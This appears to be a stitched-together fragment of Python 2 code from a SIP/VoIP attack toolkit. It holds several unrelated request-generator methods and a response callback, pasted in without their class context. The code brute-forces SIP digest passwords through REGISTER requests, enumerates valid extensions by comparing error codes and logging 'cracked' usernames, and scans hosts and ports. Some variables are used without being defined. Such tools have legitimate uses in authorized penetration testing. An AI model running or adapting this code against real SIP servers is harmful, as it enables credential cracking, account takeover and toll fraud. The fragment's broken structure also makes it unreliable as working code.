def genNextRequest(self):
"""
Generate next request to fire on target SIP UAS
"""
if not self._testpktgenerated:
self._testpktgenerated = True
self.logDebug('sending test request')
reqpkt = makeRequest('REGISTER',
self._targetip,
self._targetport,
self._xternalip,
self._localport,
extension=self._username,
cseqnum=1,
)
else:
localtag = None
cseqnum = 1
if len(self._challenges) > 0:
try:
nextpasswd = self._scaniter.next()
except StopIteration:
return None
self.logDebug('trying password: %s' %nextpasswd)
localtag = createTag('%s:%s' %(self._username,nextpasswd), '\xDE\xAD\xBE\xEF')
auth = dict()
auth['username'] = self._username
auth['realm'] = self._realm
auth['algorithm'] = self._digestalgorithm
if self._reusenonce:
auth['nonce'] = self._staticnonce
callid = self._staticcallid
else:
auth['nonce'], callid = self._challenges.pop()
auth['proxy'] = self._targetisproxy
auth['password'] = nextpasswd
cseqnum = 2
else:
auth = None
callid = None
reqpkt = makeRequest('REGISTER',
self._targetip,
self._targetport,
self._xternalip,
self._localport,
toaddr,
fromaddr,
extension=self._username,
callid=callid,
contact=contact,
cseqnum=cseqnum,
localtag=localtag,
auth=auth)
return (self._targetip,self._targetport), reqpkt
def genNextRequest(self):
"""
Generate next request to fire on target SIP UAS
"""
if self._BADUSERCODE is None:
self._nb_test_pkts_generated += 1
self.logDebug("generating test packet #%d for method '%s' .." %(self._nb_test_pkts_generated,
self._currentmethod))
nextusername = random.getrandbits(50)
else:
try:
nextusername = self._scaniter.next()
except StopIteration:
return None
toaddr = fromaddr = '"%s"<sip:%s@%s>' %(nextusername,nextusername,self._targetip)
contact = 'sip:%s@%s' %(nextusername,self._targetip)
reqpkt = makeRequest(self._currentmethod,
self._targetip,
self._targetport,
self._xternalip,
self._localport,
toaddr,
fromaddr,
contact=contact,
extension=nextusername)
return (self._targetip,self._targetport), reqpkt
def genNextRequest(self):
try:
ip, port, method = self._scaniter.next()
except StopIteration:
return None
reqpkt = makeRequest(method,
ip,
port,
self._xternalip,
self._localport,
)
return (ip,port), reqpkt
def pktCallback(self, srcaddr, pkt):
"""
Food is served
"""
self._targetisalive = True
metadata = parsePkt(pkt)
if metadata['headers']['To'] is None:
# self.logInfo("received failure response: %s" %(metadata['respfirstline']))
return
if self._BADUSERCODE is None:
"""
Perform a test 1st .. to find out what error code is returned for unknown users
Quit if weird codes are returned (the SIP UAS must be sick or somethx \L/)
"""
if metadata['code'] == TRYING \
or metadata['code'] == RINGING \
or metadata['code'] == UNAVAILABLE:
pass
elif metadata['code'] == OKAY \
or metadata['code'] == NOTALLOWED \
or metadata['code'] == UNSUPPORTED \
or metadata['code'] == NOTIMPLEMENTED \
or metadata['code'] == INEXISTENTTRANSACTION \
or metadata['code'] == NOTACCEPTABLE \
or metadata['code'] == BADREQUEST \
or metadata['code'] == PROXYAUTHREQ \
or metadata['code'] == INVALIDPASS \
or metadata['code'] == AUTHREQ \
or metadata['code'] == TEMPORARILYUNAVAILABLE:
self.logWarning("SIP server (fatally) replied test packet with '%s'" %(metadata['respfirstline']))
self.set_currentmethod()
else:
self.logDebug("ok. server replied test packet with '%s'"%(metadata['respfirstline']))
self._BADUSERCODE = metadata['code']
self.logDebug("setting BADUSERCODE = %s" % self._BADUSERCODE)
return
match = re.search("^(?P<username>.+?) *?<", metadata['headers']['To'])
username = match.group('username').replace('"', '').replace("'", "")
if metadata['code'] != self._BADUSERCODE:
if username in self._doneusernames:
return
if (200 <= metadata['code'] < 300) and self._ackenabled: # ACKnowledge all 2XX (success!) responses
if metadata['headers']['CSeq'] is None:
# self.logDebug("received failure response: %s" %(metadata['firstline']))
return
match = re.search("^(?P<cseqnum>[0-9]+?) .+?", metadata['headers']['CSeq'])
assert match is not None # XXX dirty
cseqnum = match.group('cseqnum')
ackpkt = makeRequest('ACK',
srcaddr[0],
srcaddr[1],
self._xternalip,
self._localport,
extension=username,
callid=metadata['headers']['Call-ID'],
cseqnum=cseqnum)
self.logInfo("received (success) response '%s' for username '%s'" %(metadata['respfirstline'], username))
self.logDebug("sending ACK ..")
self.sendto(ackpkt, srcaddr)
if metadata['code'] == OKAY \
or metadata['code'] == AUTHREQ \
or metadata['code'] == PROXYAUTHREQ \
or metadata['code'] == INVALIDPASS \
or metadata['code'] == TEMPORARILYUNAVAILABLE:
self._doneusernames.append(username)
authentication = 'reqauth'
if metadata['code'] == OKAY:
authentication = 'noauth'
self.logInfo("cracked username: %s (response to '%s' request was '%s')" %(username,self._currentmethod,metadata['respfirstline']))
if self._pcallback:
self._pcallback.announceNewTarget(targets.TARGET_SIP_USER(ip=srcaddr[0],
port=srcaddr[1],
ua=metadata['headers']['User-Agent'],
user=username,
auth=authentication))
else:
self.logInfo("received '%s' for username '%s'" %(metadata['respfirstline'], username))
else:
self.logInfo("received failure response '%s' for username '%s'" %(metadata['respfirstline'], username))
pass
